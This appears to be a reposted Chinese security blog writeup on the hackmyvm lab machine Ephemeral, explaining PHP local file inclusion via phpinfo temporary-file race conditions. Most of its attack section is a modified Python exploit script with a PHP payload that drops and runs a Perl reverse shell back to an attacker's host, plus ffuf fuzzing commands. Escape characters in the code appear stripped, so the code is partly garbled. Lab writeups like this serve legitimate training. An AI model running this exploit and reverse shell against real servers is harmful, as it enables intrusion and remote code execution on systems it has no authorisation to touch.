前置知识
PHP 本地文件包含(LFI)漏洞是一种常见的安全漏洞,允许攻击者包含和执行服务器上的文件。这种漏洞通常发生在应用程序允许用户输入文件名或路径,然后这个输入被用作包含(例如,通过 include、require、include_once、require_once 等函数)另一个文件的参数时,而没有适当地过滤或限制这些输入。
PHP 的会话管理通常会在服务器上创建临时文件(例如,/tmp/sess_[session_id]),或者上传的文件也可能暂时存储在临时目录。如果攻击者能够控制或预测这些文件的内容,就可以尝试通过LFI漏洞来包含这些临时文件。
在PHP中,条件竞争是一种并发错误,发生在两个或多个进程或线程同时访问和修改共享数据,并且最终结果依赖于特定的执行顺序时。例如:当多个用户请求同时试图读取和修改同一个文件时。如果没有适当的文件锁机制,这可能导致文件的不一致状态,比如数据丢失或损坏。
漏洞成因
当PHP 配置项 file_uploads = on 设置为 On 时,允许通过文件上传。
当upload_tmp_dir的路径为空,PHP会上传到系统默认的临时目录中。
当我们发送POST数据包时,如果数据包里包含文件区块,无论访问的php文件中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件,如果这个临时文件还没有被移动或重命名,在请求结束后临时文件就会被删除。文件名和路径在$_FILES变量中显示(见下图)。
临时文件存储目录:
linux下为/tmp/php+6个随机字符
windows下为C:/Windows/php[4个随机字符].tmp。
如何利用
1.需要存在文件包含,可以去包含我们上传的临时文件。
2.有一个phpinfo页面,查看配置和临时文件名。
3.上面提到过,临时文件在请求结束后会被删除,故我们需要用到条件竞争去访问包含文件。那么现在来介绍一下条件竞争的具体流程。
首先:PHP会使用输出缓冲器来提高数据传输的效率,这个特性默认启用,并且缓冲区的大小为4096,当数据包里有大量垃圾数据,输入大于缓冲器的大小时,php只会返回部分内容给我们。
那么,当我们发送第一个数据包以后立刻发送后面的数据包,这时php还在向我们传输第一次的那4096个字节,也就是说第一次产生的临时文件还存在,我们就可以利用这个时间差来包含临时文件达到getshell的目的。
下面麋鹿用hackmyvm里的靶机Ephemeral演示这个过程。
信息收集
扫网段和端口
访问80端口
扫目录
里面值得关注的文件和目录如下
1.phpsysinfo.php为phpinfo界面
启用了file_uploads,即文件上传功能
启用了allow_url_fopen,可以读取远程文件的内容,即有可能存在文件包含。
启用了allow_url_include,可以执行远程服务器上的PHP代码,即有可能存在远程命令执行。
2.各个目录,如prices下的filedownload.php文件
看文件名应该是下载功能,可以fuzz一下,不过在fuzz之前,我们需要确定要指定下载某一个文件,这里选择/prices/filedownload.php上一个目录的team.html,故命令如下
ffuf -r -c -ic -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://192.168.56.108/prices/filedownload.php?FUZZ=../team.html' -fs 0
-ic为过滤404此类无效响应,-w为指定字典文件,burp-parameter-names.txt为常见的参数名
fuzz出参数为AssignmentForm,加上参数访问,界面如下,说明存在文件包含
http://192.168.56.108/prices/filedownload.php?AssignmentForm=../team.html
还是上一个靶场的思路,把一句话木马写入log文件,然后去文件包含。
但是没有包含到/var/log/apache2/access.log,接着麋鹿又fuzz了一下常见log目录,都没有结果,那就考虑用临时文件+文件包含getshell。
用现成的工具(地址如下)利用一下,记得把里面的phpinfo和文件包含的地址换成对应的。
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
然后带上靶机ip和端口运行该脚本
文件包含成功
但是,麋鹿感觉这样有点繁琐,加了一个反弹shell的功能,原理就是写一个反弹shell的pl文件,然后执行这个pl文件
给出对应修改后的代码
setup函数
def setup(host, port, lhost, lport):
TAG = "Security Test"
# 生成反弹shell的Perl脚本,并将其保存为 getshell.pl
PAYLOAD = """%sr
<?php file_put_contents('getshell.pl', 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'); exec("perl getshell.pl");?>r""" % (TAG, lhost, lport)
REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpsysinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
LFIREQ = """GET /prices/filedownload.php?AssignmentForm=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)
main函数
def main():
parser = argparse.ArgumentParser(description='LFI with PHPInfo() exploit script.')
parser.add_argument('-rhost', required=True, help='Remote host IP')
parser.add_argument('-rport', type=int, default=80, help='Remote host port (default: 80)')
parser.add_argument('-threads', type=int, default=10, help='Number of threads (default: 10)')
parser.add_argument('-lhost', required=True, help='Local host IP for reverse shell')
parser.add_argument('-lport', type=int, required=True, help='Local port for reverse shell')
args = parser.parse_args()
host = args.rhost
port = args.rport
lhost = args.lhost
lport = args.lport
poolsz = args.threads
try:
host = socket.gethostbyname(host)
except socket.error as e:
print "Error with hostname %s: %s" % (host, e)
sys.exit(1)
print "LFI With PHPInfo()"
print "-=" * 30
reqphp, tag, reqlfi = setup(host, port, lhost, lport)
offset = getOffset(host, port, reqphp)
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
tp = []
for i in range(poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.is_set():
if e.is_set():
break
with l:
sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
后面提权下一篇发
往期文章
权限维持和排查
继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)
别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)
你不知道的win应急思路!从维权到排查,面试必问!不来看看?
rootkit原理
从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)
漏洞复现和利用手法
从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具
从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具
从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)
浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理
从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理
遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)
浅分析 Apache Confluence [CVE-2023-22515]
一些工具和原理
浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)
浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理
一些渗透手法
打靶手记之hackmyvm--Registry(文件包含 缓冲区溢出 原理与利用) (qq.com)
试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)
试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)
从绕过disable_functions到关于so的一些想法
一些杂谈
考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)
晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)
2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)
再加一个打靶系列
如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)
打靶手记之hackmyvm--UnbakedPie (qq.com)
打靶手机之hackmyvm--connection (qq.com)
打靶手记之hackmyvm--Birthday (qq.com)
原文始发于微信公众号(麋鹿安全):phpinfo+文件包含临时文件getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论